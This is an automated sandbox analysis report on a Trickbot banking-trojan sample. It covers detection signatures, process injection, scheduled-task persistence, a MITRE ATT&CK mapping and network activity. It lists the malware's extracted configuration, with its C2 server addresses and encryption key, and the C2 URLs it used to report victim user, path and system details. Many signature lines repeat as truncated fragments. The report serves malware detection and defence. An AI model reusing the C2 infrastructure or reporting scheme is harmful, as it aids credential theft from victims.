automated malware analysis report for hopdc7v13c.exe

51
ID: 517994 Sample Name: HOPdc7v13C.exe Cookbook: default.jbs Time: 20:48:30 Date: 08/11/2021 Version: 34.0.0 Boulder Opal

Upload: khangminh22

Post on 06-May-2023

0 views

Category:

Documents


0 download

TRANSCRIPT

ID: 517994Sample Name:HOPdc7v13C.exeCookbook: default.jbsTime: 20:48:30Date: 08/11/2021Version: 34.0.0 Boulder Opal

244444444455555566666666777888888999

1010101011111111111212131313131414141414141415151515

151515151515151617484848

Table of Contents

Table of ContentsWindows Analysis Report HOPdc7v13C.exe

OverviewGeneral InformationDetectionSignaturesClassification

Process TreeMalware Configuration

Threatname: TrickbotYara Overview

Memory DumpsSigma Overview

System Summary:Jbx Signature Overview

AV Detection:Networking:E-Banking Fraud:System Summary:Malware Analysis System Evasion:HIPS / PFW / Operating System Protection Evasion:Stealing of Sensitive Information:Remote Access Functionality:

Mitre Att&ck MatrixBehavior GraphScreenshots

ThumbnailsAntivirus, Machine Learning and Genetic Malware Detection

Initial SampleDropped FilesUnpacked PE FilesDomainsURLs

Domains and IPsContacted DomainsContacted URLsURLs from Memory and BinariesContacted IPsPublic

General InformationSimulations

Behavior and APIsJoe Sandbox View / Context

IPsDomainsASNJA3 FingerprintsDropped Files

Created / dropped FilesStatic File Info

GeneralFile IconStatic PE Info

GeneralEntrypoint PreviewRich HeadersData DirectoriesSectionsResourcesImportsVersion InfosPossible Origin

Network BehaviorNetwork Port DistributionTCP PacketsUDP PacketsDNS QueriesDNS AnswersHTTP Request Dependency GraphHTTP PacketsHTTPS Proxied Packets

Code ManipulationsStatistics

BehaviorCopyright Joe Security LLC 2021 Page 2 of 51

494949

49494949

4949

505050

5050

5050515151

5151

System BehaviorAnalysis Process: HOPdc7v13C.exe PID: 5964 Parent PID: 3280

General

Analysis Process: wermgr.exe PID: 5908 Parent PID: 5964GeneralFile Activities

File Read

Analysis Process: cmd.exe PID: 2016 Parent PID: 5964General

Analysis Process: cmd.exe PID: 5312 Parent PID: 1440GeneralFile Activities

Analysis Process: conhost.exe PID: 6360 Parent PID: 5312General

Analysis Process: svchost.exe PID: 4840 Parent PID: 5908GeneralFile ActivitiesRegistry Activities

Key Value Created

DisassemblyCode Analysis

Copyright Joe Security LLC 2021 Page 3 of 51

Windows Analysis Report HOPdc7v13C.exe

Overview

General Information

Sample Name:

HOPdc7v13C.exe

Analysis ID: 517994

MD5: 0686d0c6289fe85…

SHA1: 420d1ee8dd72fa0…

SHA256: 92f8619538ca801…

Infos:

Most interesting Screenshot:

Detection

TrickBotTrickBot

Score: 100

Range: 0 - 100

Whitelisted: false

Confidence: 100%

Signatures

Found malware configuration

Found malware configuration

Found malware configuration

Found malware configuration

Found malware configuration

Found malware configuration

Found malware configurationFound malware configuration

Yara detected Trickbot

Yara detected Trickbot

Yara detected Trickbot

Yara detected Trickbot

Yara detected Trickbot

Yara detected Trickbot

Yara detected TrickbotYara detected Trickbot

Multi AV Scanner detection for subm

Multi AV Scanner detection for subm

Multi AV Scanner detection for subm

Multi AV Scanner detection for subm

Multi AV Scanner detection for subm

Multi AV Scanner detection for subm

Multi AV Scanner detection for submMulti AV Scanner detection for subm……

Antivirus / Scanner detection for sub

Antivirus / Scanner detection for sub

Antivirus / Scanner detection for sub

Antivirus / Scanner detection for sub

Antivirus / Scanner detection for sub

Antivirus / Scanner detection for sub

Antivirus / Scanner detection for subAntivirus / Scanner detection for sub……

Found detection on Joe Sandbox Clo

Found detection on Joe Sandbox Clo

Found detection on Joe Sandbox Clo

Found detection on Joe Sandbox Clo

Found detection on Joe Sandbox Clo

Found detection on Joe Sandbox Clo

Found detection on Joe Sandbox CloFound detection on Joe Sandbox Clo……

Sigma detected: Suspect Svchost A

Sigma detected: Suspect Svchost A

Sigma detected: Suspect Svchost A

Sigma detected: Suspect Svchost A

Sigma detected: Suspect Svchost A

Sigma detected: Suspect Svchost A

Sigma detected: Suspect Svchost ASigma detected: Suspect Svchost A……

Writes to foreign memory regions

Writes to foreign memory regions

Writes to foreign memory regions

Writes to foreign memory regions

Writes to foreign memory regions

Writes to foreign memory regions

Writes to foreign memory regionsWrites to foreign memory regions

May check the online IP address of

May check the online IP address of

May check the online IP address of

May check the online IP address of

May check the online IP address of

May check the online IP address of

May check the online IP address of May check the online IP address of ……

Found evasive API chain (trying to d

Found evasive API chain (trying to d

Found evasive API chain (trying to d

Found evasive API chain (trying to d

Found evasive API chain (trying to d

Found evasive API chain (trying to d

Found evasive API chain (trying to dFound evasive API chain (trying to d……

Sigma detected: Suspicious Svchos

Sigma detected: Suspicious Svchos

Sigma detected: Suspicious Svchos

Sigma detected: Suspicious Svchos

Sigma detected: Suspicious Svchos

Sigma detected: Suspicious Svchos

Sigma detected: Suspicious SvchosSigma detected: Suspicious Svchos……

Tries to harvest and steal browser in

Tries to harvest and steal browser in

Tries to harvest and steal browser in

Tries to harvest and steal browser in

Tries to harvest and steal browser in

Tries to harvest and steal browser in

Tries to harvest and steal browser inTries to harvest and steal browser in……

Uses 32bit PE files

Uses 32bit PE files

Uses 32bit PE files

Uses 32bit PE files

Uses 32bit PE files

Uses 32bit PE files

Uses 32bit PE filesUses 32bit PE files

Queries the volume information (nam

Queries the volume information (nam

Queries the volume information (nam

Queries the volume information (nam

Queries the volume information (nam

Queries the volume information (nam

Queries the volume information (namQueries the volume information (nam……

Contains functionality to check if a d

Contains functionality to check if a d

Contains functionality to check if a d

Contains functionality to check if a d

Contains functionality to check if a d

Contains functionality to check if a d

Contains functionality to check if a dContains functionality to check if a d……

Contains functionality to query locale

Contains functionality to query locale

Contains functionality to query locale

Contains functionality to query locale

Contains functionality to query locale

Contains functionality to query locale

Contains functionality to query localeContains functionality to query locale……

May sleep (evasive loops) to hinder

May sleep (evasive loops) to hinder

May sleep (evasive loops) to hinder

May sleep (evasive loops) to hinder

May sleep (evasive loops) to hinder

May sleep (evasive loops) to hinder

May sleep (evasive loops) to hinder May sleep (evasive loops) to hinder ……

Uses code obfuscation techniques (

Uses code obfuscation techniques (

Uses code obfuscation techniques (

Uses code obfuscation techniques (

Uses code obfuscation techniques (

Uses code obfuscation techniques (

Uses code obfuscation techniques (Uses code obfuscation techniques (……

Internet Provider seen in connection

Internet Provider seen in connection

Internet Provider seen in connection

Internet Provider seen in connection

Internet Provider seen in connection

Internet Provider seen in connection

Internet Provider seen in connectionInternet Provider seen in connection……

Detected potential crypto function

Detected potential crypto function

Detected potential crypto function

Detected potential crypto function

Detected potential crypto function

Detected potential crypto function

Detected potential crypto functionDetected potential crypto function

Found potential string decryption / a

Found potential string decryption / a

Found potential string decryption / a

Found potential string decryption / a

Found potential string decryption / a

Found potential string decryption / a

Found potential string decryption / aFound potential string decryption / a……

Sample execution stops while proce

Sample execution stops while proce

Sample execution stops while proce

Sample execution stops while proce

Sample execution stops while proce

Sample execution stops while proce

Sample execution stops while proceSample execution stops while proce……

JA3 SSL client fingerprint seen in co

JA3 SSL client fingerprint seen in co

JA3 SSL client fingerprint seen in co

JA3 SSL client fingerprint seen in co

JA3 SSL client fingerprint seen in co

JA3 SSL client fingerprint seen in co

JA3 SSL client fingerprint seen in coJA3 SSL client fingerprint seen in co……

Contains functionality to call native f

Contains functionality to call native f

Contains functionality to call native f

Contains functionality to call native f

Contains functionality to call native f

Contains functionality to call native f

Contains functionality to call native fContains functionality to call native f……

Contains functionality to dynamically

Contains functionality to dynamically

Contains functionality to dynamically

Contains functionality to dynamically

Contains functionality to dynamically

Contains functionality to dynamically

Contains functionality to dynamicallyContains functionality to dynamically……

IP address seen in connection with o

IP address seen in connection with o

IP address seen in connection with o

IP address seen in connection with o

IP address seen in connection with o

IP address seen in connection with o

IP address seen in connection with oIP address seen in connection with o……

Uses insecure TLS / SSL version fo

Uses insecure TLS / SSL version fo

Uses insecure TLS / SSL version fo

Uses insecure TLS / SSL version fo

Uses insecure TLS / SSL version fo

Uses insecure TLS / SSL version fo

Uses insecure TLS / SSL version foUses insecure TLS / SSL version fo……

Contains functionality for execution

Contains functionality for execution

Contains functionality for execution

Contains functionality for execution

Contains functionality for execution

Contains functionality for execution

Contains functionality for execution Contains functionality for execution ……

Abnormal high CPU Usage

Abnormal high CPU Usage

Abnormal high CPU Usage

Abnormal high CPU Usage

Abnormal high CPU Usage

Abnormal high CPU Usage

Abnormal high CPU UsageAbnormal high CPU Usage

Found inlined nop instructions (likely

Found inlined nop instructions (likely

Found inlined nop instructions (likely

Found inlined nop instructions (likely

Found inlined nop instructions (likely

Found inlined nop instructions (likely

Found inlined nop instructions (likelyFound inlined nop instructions (likely……

Sample file is different than original

Sample file is different than original

Sample file is different than original

Sample file is different than original

Sample file is different than original

Sample file is different than original

Sample file is different than original Sample file is different than original ……

PE file contains strange resources

PE file contains strange resources

PE file contains strange resources

PE file contains strange resources

PE file contains strange resources

PE file contains strange resources

PE file contains strange resourcesPE file contains strange resources

Tries to load missing DLLs

Tries to load missing DLLs

Tries to load missing DLLs

Tries to load missing DLLs

Tries to load missing DLLs

Tries to load missing DLLs

Tries to load missing DLLsTries to load missing DLLs

Contains functionality to query netwo

Contains functionality to query netwo

Contains functionality to query netwo

Contains functionality to query netwo

Contains functionality to query netwo

Contains functionality to query netwo

Contains functionality to query netwoContains functionality to query netwo……

Creates a process in suspended mo

Creates a process in suspended mo

Creates a process in suspended mo

Creates a process in suspended mo

Creates a process in suspended mo

Creates a process in suspended mo

Creates a process in suspended moCreates a process in suspended mo……

Contains functionality to access load

Contains functionality to access load

Contains functionality to access load

Contains functionality to access load

Contains functionality to access load

Contains functionality to access load

Contains functionality to access loadContains functionality to access load……

Classification

Ransomware

Spreading

Phishing

Banker

Trojan / Bot

Adware

Spyware

Exploiter

Evader

Miner

clean

clean

clean

clean

clean

clean

clean

suspicious

suspicious

suspicious

suspicious

suspicious

suspicious

suspicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

System is w10x64native

HOPdc7v13C.exe (PID: 5964 cmdline: "C:\Users\user\Desktop\HOPdc7v13C.exe" MD5: 0686D0C6289FE85B513173479A4B6CF3)

wermgr.exe (PID: 5908 cmdline: C:\Windows\system32\wermgr.exe MD5: F7991343CF02ED92CB59F394E8B89F1F)

svchost.exe (PID: 4840 cmdline: C:\Windows\system32\svchost.exe MD5: F586835082F632DC8D9404D83BC16316)

cmd.exe (PID: 2016 cmdline: C:\Windows\system32\cmd.exe MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

cmd.exe (PID: 5312 cmdline: C:\Windows\SYSTEM32\cmd.exe /c "C:\Users\user\AppData\Roaming\NotepadIDE_I0MY\cmdexecute.bat" MD5:

8A2122E8162DBEF04694B9C3E0B6CDEE)conhost.exe (PID: 6360 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

cleanup

Process Tree

Malware Configuration

Threatname: Trickbot

Copyright Joe Security LLC 2021 Page 4 of 51

Sigma Overview

System Summary:

Sigma detected: Suspect Svchost Activity

Sigma detected: Suspicious Svchost Process

Jbx Signature Overview

Click to jump to signature section

AV Detection:

Found malware configuration

Yara detected Trickbot

Multi AV Scanner detection for submitted file

{ "ver": "2000036", "gtag": "tot176", "servs": [ "36.91.117.231:443", "36.89.228.201:443", "103.75.32.173:443", "45.115.172.105:443", "36.95.23.89:443", "103.123.86.104:443", "202.65.119.162:443", "202.9.121.143:443", "139.255.65.170:443", "110.172.137.20:443", "103.146.232.154:443", "36.91.88.164:443", "103.47.170.131:443", "122.117.90.133:443", "103.9.188.78:443", "210.2.149.202:443", "118.91.190.42:443", "117.222.61.115:443", "117.222.57.92:443", "136.228.128.21:443", "103.47.170.130:443", "36.91.186.235:443", "103.194.88.4:443", "116.206.153.212:443", "58.97.72.83:443", "139.255.6.2:443" ], "autorun": [ "injectDll", "pwgrabb", "pwgrabc" ], "ecc_key": "RUNTMzAAAAAL/ZqmMPBLaRfg1hPOtFJrZz2Zi2/EC4B3fiX8VnaOUVKndBr+jEqWc7mw4v3ADTiwp64K5QKe1LZ27jUZxL4bWjxARPo85hv72nuedeZhRQ+adQQ/gIsV869MycRzghc="}

Source Rule Description Author Strings

00000001.00000002.61498151176.0000000002A31000.00000040.00000001.sdmp

JoeSecurity_TrickBot_4 Yara detected Trickbot

Joe Security

Process Memory Space: wermgr.exe PID: 5908 JoeSecurity_Trickbot_1 Yara detected Trickbot

Joe Security

Yara Overview

Memory Dumps

Copyright Joe Security LLC 2021 Page 5 of 51

Antivirus / Scanner detection for submitted sample

Networking:

May check the online IP address of the machine

E-Banking Fraud:

Yara detected Trickbot

System Summary:

Found detection on Joe Sandbox Cloud Basic with higher score

Malware Analysis System Evasion:

Found evasive API chain (trying to detect sleep duration tampering with parallel thread)

HIPS / PFW / Operating System Protection Evasion:

Writes to foreign memory regions

Stealing of Sensitive Information:

Yara detected Trickbot

Tries to harvest and steal browser information (history, passwords, etc)

Remote Access Functionality:

Yara detected Trickbot

Mitre Att&ck Matrix

InitialAccess Execution Persistence

PrivilegeEscalation Defense Evasion

CredentialAccess Discovery

LateralMovement Collection Exfiltration

Commandand Control

NetworkEffects

ValidAccounts

Scripting 1 DLL Side-Loading 1

Access TokenManipulation 1

Masquerading 1 OSCredentialDumping 1

System TimeDiscovery 1

RemoteServices

ArchiveCollectedData 1

ExfiltrationOver OtherNetworkMedium

EncryptedChannel 1 1

Eavesdrop onInsecureNetworkCommunication

DefaultAccounts

NativeAPI 1 1

Boot orLogonInitializationScripts

ProcessInjection 1 1 2

Disable or ModifyTools 1

LSASSMemory

Security SoftwareDiscovery 2 1

RemoteDesktopProtocol

Data fromLocalSystem 1

ExfiltrationOverBluetooth

Ingress ToolTransfer 3

Exploit SS7 toRedirect PhoneCalls/SMS

DomainAccounts

At (Linux) Logon Script(Windows)

DLL Side-Loading 1

Virtualization/SandboxEvasion 1 1

SecurityAccountManager

Process Discovery 3 SMB/WindowsAdmin Shares

Data fromNetworkSharedDrive

AutomatedExfiltration

Non-ApplicationLayerProtocol 4

Exploit SS7 toTrack DeviceLocation

LocalAccounts

At(Windows)

Logon Script(Mac)

Logon Script(Mac)

Access TokenManipulation 1

NTDS Virtualization/SandboxEvasion 1 1

DistributedComponentObject Model

InputCapture

ScheduledTransfer

ApplicationLayerProtocol 5

SIM CardSwap

CloudAccounts

Cron NetworkLogon Script

Network LogonScript

ProcessInjection 1 1 2

LSASecrets

System NetworkConfigurationDiscovery 1 1

SSH Keylogging DataTransferSize Limits

FallbackChannels

ManipulateDeviceCommunication

ReplicationThroughRemovableMedia

Launchd Rc.common Rc.common Deobfuscate/DecodeFiles or Information 1

CachedDomainCredentials

File and DirectoryDiscovery 2

VNC GUI InputCapture

ExfiltrationOver C2Channel

MultibandCommunication

Jamming orDenial ofService

Copyright Joe Security LLC 2021 Page 6 of 51

ExternalRemoteServices

ScheduledTask

StartupItems

Startup Items Scripting 1 DCSync System InformationDiscovery 2 3

WindowsRemoteManagement

WebPortalCapture

ExfiltrationOverAlternativeProtocol

CommonlyUsed Port

Rogue Wi-FiAccess Points

Drive-byCompromise

CommandandScriptingInterpreter

ScheduledTask/Job

ScheduledTask/Job

Obfuscated Files orInformation 3

ProcFilesystem

Network ServiceScanning

SharedWebroot

CredentialAPIHooking

ExfiltrationOverSymmetricEncryptedNon-C2Protocol

ApplicationLayer Protocol

Downgrade toInsecureProtocols

ExploitPublic-FacingApplication

PowerShell At (Linux) At (Linux) DLL Side-Loading 1 /etc/passwdand/etc/shadow

System NetworkConnectionsDiscovery

SoftwareDeploymentTools

DataStaged

ExfiltrationOverAsymmetricEncryptedNon-C2Protocol

Web Protocols Rogue CellularBase Station

InitialAccess Execution Persistence

PrivilegeEscalation Defense Evasion

CredentialAccess Discovery

LateralMovement Collection Exfiltration

Commandand Control

NetworkEffects

Behavior Graph

ID: 517994

Sample: HOPdc7v13C.exe

Startdate: 08/11/2021

Architecture: WINDOWS

Score: 100

icanhazip.com 91.143.129.102.zen.spamhaus.org 2 other IPs or domains

Found malware configurationAntivirus / Scanner

detection for submittedsample

Multi AV Scanner detectionfor submitted file 5 other signatures

HOPdc7v13C.exe

started

cmd.exe

1

started

Writes to foreign memoryregions

wermgr.exe

started

cmd.exe

started

conhost.exe

started

202.65.119.162, 443, 49790, 49791

CITRA-AS-IDPTJEMBATANCITRANUSANTARAID

Indonesia

116.90.234.82, 443, 49807

WEBSURFERNP-AS-NPWebsurferNepalInternetServiceProvider

Nepal

icanhazip.com

104.18.114.97, 49792, 80

CLOUDFLARENETUS

United States

Writes to foreign memoryregions

Found evasive API chain(trying to detect sleep

duration tampering withparallel thread)

svchost.exe

2 12

started

Tries to harvest andsteal browser information

(history, passwords,etc)

Legend:

Process

Signature

Created File

DNS/IP Info

Is Dropped

Is Windows Process

Number of created Registry Values

Number of created Files

Visual Basic

Delphi

Java

.Net C# or VB.NET

C, C++ or other language

Is malicious

Internet

Hide Legend

ThumbnailsThis section contains all screenshots as thumbnails, including those not shown in the slideshow.

Behavior Graph

Screenshots

Copyright Joe Security LLC 2021 Page 7 of 51

Source Detection Scanner Label Link

HOPdc7v13C.exe 48% Virustotal Browse

HOPdc7v13C.exe 60% ReversingLabs Win32.Trojan.TrickBotCrypt

HOPdc7v13C.exe 100% Avira TR/AD.Nekark.kjtmg

No Antivirus matches

No Antivirus matches

No Antivirus matches

Source Detection Scanner Label Link

https://202.65.119.162/tot176/878411_W10019042.0BCB5F3BB96E13D3D8A7F33771DABBE8/0/Windows%2010%20x64/1108/102.129.143.91/6760749C3E0F3C8028653796E6C431FC062A0AA0107C34B734353BDE5C7824FB/z3dHdLnB77733nzzrrnnnjjLhdddZZZ/

0% Avira URL Cloud safe

https://202.65.119.162/viderj3 0% Avira URL Cloud safe

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Copyright Joe Security LLC 2021 Page 8 of 51

https://202.65.119.162/tot176/878411_W10019042.0BCB5F3BB96E13D3D8A7F33771DABBE8/23/2000036/

0% Avira URL Cloud safe

https://202.65.119.162/tot176/878411_W10019042.0BCB5F3BB96E13D3D8A7F33771DABBE8/64/injectDll/PING/br

0% Avira URL Cloud safe

https://202.65.119.162:443/tot176/878411_W10019042.0BCB5F3BB96E13D3D8A7F33771DABBE8/64/injectDll/VER

0% Avira URL Cloud safe

https://202.65.119.162/n3 0% Avira URL Cloud safe

https://202.65.119.162/viderO 0% Avira URL Cloud safe

https://202.65.119.162/ 0% Avira URL Cloud safe

https://202.65.119.162/tot176/878411_W10019042.0BCB5F3BB96E13D3D8A7F33771DABBE8/14/NAT%20status/client%20is%20behind%20NAT/0/

0% Avira URL Cloud safe

https://202.65.119.162/tot176/878411_W10019042.0BCB5F3BB96E13D3D8A7F33771DABBE8/5/kps/0% Avira URL Cloud safe

https://202.65.119.162/tot176/878411_W10019042.0BCB5F3BB96E13D3D8A7F33771DABBE8/14/path/C:%5CUsers%5

0% Avira URL Cloud safe

https://202.65.119.162/~3 0% Avira URL Cloud safe

https://202.65.119.162/tot176/878411_W10019042.0BCB5F3BB96E13D3D8A7F33771DABBE8/5/winj/0% Avira URL Cloud safe

https://202.65.119.162/tot176/878411_W10019042.0BCB5F3BB96E13D3D8A7F33771DABBE8/64/injectDll/VERS/browser/

0% Avira URL Cloud safe

https://202.65.119.162:443/tot176/878411_W10019042.0BCB5F3BB96E13D3D8A7F33771DABBE8/64/injectDll/PIN

0% Avira URL Cloud safe

https://116.90.234.82/tot176/878411_W10019042.0BCB5F3BB96E13D3D8A7F33771DABBE8/5/injectDll64/

0% Avira URL Cloud safe

https://202.65.119.162/tot176/878411_W10019042.0BCB5F3BB96E13D3D8A7F33771DABBE8/14/DNSBL/listed/0/

0% Avira URL Cloud safe

https://202.65.119.162/tot176/878411_W10019042.0BCB5F3BB96E13D3D8A7F33771DABBE8/14/NAT%20status/clie

0% Avira URL Cloud safe

https://202.65.119.162/tot176/878411_W10019042.0BCB5F3BB96E13D3D8A7F33771DABBE8/64/injectDll/VERS/br

0% Avira URL Cloud safe

https://202.65.119.162/vider 0% Avira URL Cloud safe

https://202.65.119.162/tot176/878411_W10019042.0BCB5F3BB96E13D3D8A7F33771DABBE8/14/path/C:%5CUsers%5Cuser%5CAppData%5CRoaming%5CNotepadIDE_I0MY%5CHOPdc7v13C.exe/0/

0% Avira URL Cloud safe

https://202.65.119.162/tot176/878411_W10019042.0BCB5F3BB96E13D3D8A7F33771DABBE8/14/user/user/0/

0% Avira URL Cloud safe

https://202.65.119.162/F3 0% Avira URL Cloud safe

Source Detection Scanner Label Link

Name IP Active Malicious Antivirus Detection Reputation

91.143.129.102.b.barracudacentral.org 127.0.0.2 true false high

icanhazip.com 104.18.114.97 true false high

91.143.129.102.zen.spamhaus.org unknown unknown false high

91.143.129.102.cbl.abuseat.org unknown unknown false high

Name Malicious Antivirus Detection Reputation

https://202.65.119.162/tot176/878411_W10019042.0BCB5F3BB96E13D3D8A7F33771DABBE8/0/Windows%2010%20x64/1108/102.129.143.91/6760749C3E0F3C8028653796E6C431FC062A0AA0107C34B734353BDE5C7824FB/z3dHdLnB77733nzzrrnnnjjLhdddZZZ/

true Avira URL Cloud: safe unknown

https://202.65.119.162/tot176/878411_W10019042.0BCB5F3BB96E13D3D8A7F33771DABBE8/23/2000036/

true Avira URL Cloud: safe unknown

icanhazip.com/ false high

Domains and IPs

Contacted Domains

Contacted URLs

Copyright Joe Security LLC 2021 Page 9 of 51

General Information

Joe Sandbox Version: 34.0.0 Boulder Opal

Analysis ID: 517994

Start date: 08.11.2021

Start time: 20:48:30

Joe Sandbox Product: CloudBasic

Overall analysis duration: 0h 13m 20s

Hypervisor based Inspection enabled: false

Report type: light

Sample file name: HOPdc7v13C.exe

Cookbook file name: default.jbs

Analysis system description: Windows 10 64 bit 20H2 Native physical Machine for testing VM-aware malware (Office 2019, IE 11, Chrome 93, Firefox 91, Adobe Reader DC 21, Java 8 Update 301

Run name: Suspected Instruction Hammering

Number of analysed new started processes analysed:

17

Number of new started drivers analysed: 0

Number of existing processes analysed: 0

Number of existing drivers analysed: 0

Number of injected processes analysed: 0

Technologies: HCA enabledEGA enabledHDC enabledAMSI enabled

https://202.65.119.162/tot176/878411_W10019042.0BCB5F3BB96E13D3D8A7F33771DABBE8/14/NAT%20status/client%20is%20behind%20NAT/0/

true Avira URL Cloud: safe unknown

https://202.65.119.162/tot176/878411_W10019042.0BCB5F3BB96E13D3D8A7F33771DABBE8/5/kps/

true Avira URL Cloud: safe unknown

https://202.65.119.162/tot176/878411_W10019042.0BCB5F3BB96E13D3D8A7F33771DABBE8/5/winj/

true Avira URL Cloud: safe unknown

https://202.65.119.162/tot176/878411_W10019042.0BCB5F3BB96E13D3D8A7F33771DABBE8/64/injectDll/VERS/browser/

true Avira URL Cloud: safe unknown

https://116.90.234.82/tot176/878411_W10019042.0BCB5F3BB96E13D3D8A7F33771DABBE8/5/injectDll64/

false Avira URL Cloud: safe unknown

https://202.65.119.162/tot176/878411_W10019042.0BCB5F3BB96E13D3D8A7F33771DABBE8/14/DNSBL/listed/0/

true Avira URL Cloud: safe unknown

https://202.65.119.162/tot176/878411_W10019042.0BCB5F3BB96E13D3D8A7F33771DABBE8/14/path/C:%5CUsers%5Cuser%5CAppData%5CRoaming%5CNotepadIDE_I0MY%5CHOPdc7v13C.exe/0/

true Avira URL Cloud: safe unknown

https://202.65.119.162/tot176/878411_W10019042.0BCB5F3BB96E13D3D8A7F33771DABBE8/14/user/user/0/

true Avira URL Cloud: safe unknown

Name Malicious Antivirus Detection Reputation

IP Domain Country Flag ASN ASN Name Malicious

202.65.119.162 unknown Indonesia 23951 CITRA-AS-IDPTJEMBATANCITRANUSANTARAID

true

116.90.234.82 unknown Nepal 24550 WEBSURFERNP-AS-NPWebsurferNepalInternetServiceProvider

false

104.18.114.97 icanhazip.com United States 13335 CLOUDFLARENETUS false

URLs from Memory and Binaries

Contacted IPs

Public

Copyright Joe Security LLC 2021 Page 10 of 51

Analysis Mode: default

Analysis stop reason: Timeout

Detection: MAL

Classification: mal100.troj.spyw.evad.winEXE@9/1@4/3

EGA Information: Failed

HDC Information: Failed

HCA Information: Successful, ratio: 74%Number of executed functions: 0Number of non-executed functions: 0

Cookbook Comments: Adjust boot timeEnable AMSIFound application associated with file extension: .exe

Warnings:

Time Type Description

20:50:27 API Interceptor 11x Sleep call for process: wermgr.exe modified

20:50:52 Task Scheduler Run new task: Notepad IDE for WindowsI0MY path: C:\Users\user\AppData\Roaming\NotepadIDE_I0MY\cmdexecute.bat

20:52:00 API Interceptor 3699x Sleep call for process: svchost.exe modified

Match Associated Sample Name / URL SHA 256 Detection Link Context

202.65.119.162 5zzdHIYZAG.exe Get hash malicious Browse

eflyairplane.exe Get hash malicious Browse

C1P8cpCT6B.exe Get hash malicious Browse

CPsCTGtjW2.exe Get hash malicious Browse

JuufQURFPh.exe Get hash malicious Browse

triage_dropped_file.dll Get hash malicious Browse

TsozeiN4tT.dll Get hash malicious Browse

jqzMAYCER2.dll Get hash malicious Browse

TvZcNQ8W30.dll Get hash malicious Browse

RmECs36j2d.dll Get hash malicious Browse

microsoftExcelEarth.dll Get hash malicious Browse

104.18.114.97 qaj4IZ8834.exe Get hash malicious Browse icanhazip.com/

iMAvcf5AO3.exe Get hash malicious Browse icanhazip.com/

wFdVnddFIx.exe Get hash malicious Browse icanhazip.com/

HD7AtHmORX.exe Get hash malicious Browse icanhazip.com/

C1P8cpCT6B.exe Get hash malicious Browse icanhazip.com/

Exodus.exe Get hash malicious Browse icanhazip.com/

Exodus.exe Get hash malicious Browse icanhazip.com/

BSQ4wRQciB.dll Get hash malicious Browse icanhazip.com/

Transfer_wise.xlsx Get hash malicious Browse icanhazip.com/

RmECs36j2d.dll Get hash malicious Browse icanhazip.com/

triage_dropped_file.dll Get hash malicious Browse icanhazip.com/

triage_dropped_file.dll Get hash malicious Browse icanhazip.com/

WblzNHHYfo.exe Get hash malicious Browse icanhazip.com/

46xdVsXYZG.exe Get hash malicious Browse icanhazip.com/

Match Associated Sample Name / URL SHA 256 Detection Link Context

icanhazip.com iAbRBOCOR3.exe Get hash malicious Browse 104.18.114.97

Show All

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

Copyright Joe Security LLC 2021 Page 11 of 51

aPfBHhfm6r.exe Get hash malicious Browse 104.18.114.97

EuphoriaH.exe Get hash malicious Browse 104.18.115.97

m05WkT70kc.exe Get hash malicious Browse 104.18.115.97

6aEscjrdcw.exe Get hash malicious Browse 104.18.115.97

qaj4IZ8834.exe Get hash malicious Browse 104.18.114.97

8Vn4Knao2t.exe Get hash malicious Browse 104.18.114.97

Qen6XuvBwQ.dll Get hash malicious Browse 104.18.115.97

iMAvcf5AO3.exe Get hash malicious Browse 104.18.114.97

UNx5DuJQKr.exe Get hash malicious Browse 104.18.115.97

wFdVnddFIx.exe Get hash malicious Browse 104.18.114.97

HD7AtHmORX.exe Get hash malicious Browse 104.18.114.97

C1P8cpCT6B.exe Get hash malicious Browse 104.18.114.97

M1YceQ237E.dll Get hash malicious Browse 104.18.115.97

VsRff7UbXL.exe Get hash malicious Browse 104.18.115.97

Exodus.exe Get hash malicious Browse 104.18.114.97

Exodus.exe Get hash malicious Browse 104.18.114.97

BSQ4wRQciB.dll Get hash malicious Browse 104.18.114.97

DTtJ8cMoFj.dll Get hash malicious Browse 104.18.115.97

akfQVzbINT.exe Get hash malicious Browse 104.18.115.97

Match Associated Sample Name / URL SHA 256 Detection Link Context

Match Associated Sample Name / URL SHA 256 Detection Link Context

CLOUDFLARENETUS Lista de #U0432rdenes de compra.pdf.exe Get hash malicious Browse 66.235.200.147

Purchase Order - 10,000MT.exe Get hash malicious Browse 23.227.38.74

Entry Slip for PARCO Tender pdf.exe Get hash malicious Browse 104.21.19.200

22275B7C5A57111ACA919F6BBFAE171E5E99F5EF777D1.exe

Get hash malicious Browse 162.159.133.233

INV-7809_2.dll Get hash malicious Browse 104.26.6.139

FAuA0G2obM Get hash malicious Browse 172.65.244.125

{6892d07f-769e-432c-9257-f34622985282}.exe Get hash malicious Browse 104.20.22.46

AUER09446634.COM.exe Get hash malicious Browse 104.21.79.226

ff009f321.exe Get hash malicious Browse 104.21.28.9

262fLzMQP8.exe Get hash malicious Browse 162.159.134.233

.#U266bvmail-667011HOTVJCYETZ.htm Get hash malicious Browse 172.67.149.30

S5NR83ucas.exe Get hash malicious Browse 162.159.135.233

sss700912.exe Get hash malicious Browse 104.21.84.45

4AE186F9A645695962B47F37C8B8E64C4D45F2B2A12AE.exe

Get hash malicious Browse 104.21.6.12

Signed Agreement_Nov_10th_2021.vbs Get hash malicious Browse 104.21.83.52

Jeppesen Invoice #450051235.vbs Get hash malicious Browse 172.67.214.206

PI_COAU65239841.docx Get hash malicious Browse 104.21.43.235

MMKkzwt0dd.exe Get hash malicious Browse 162.159.129.233

PI-234567876544567.exe Get hash malicious Browse 162.159.130.233

scan_21000076119_pdf.exe Get hash malicious Browse 104.18.26.58

CITRA-AS-IDPTJEMBATANCITRANUSANTARAID

5zzdHIYZAG.exe Get hash malicious Browse 202.65.119.162

eflyairplane.exe Get hash malicious Browse 202.65.119.162

C1P8cpCT6B.exe Get hash malicious Browse 202.65.119.162

CPsCTGtjW2.exe Get hash malicious Browse 202.65.119.162

JuufQURFPh.exe Get hash malicious Browse 202.65.119.162

triage_dropped_file.dll Get hash malicious Browse 202.65.119.162

TsozeiN4tT.dll Get hash malicious Browse 202.65.119.162

jqzMAYCER2.dll Get hash malicious Browse 202.65.119.162

TvZcNQ8W30.dll Get hash malicious Browse 202.65.119.162

RmECs36j2d.dll Get hash malicious Browse 202.65.119.162

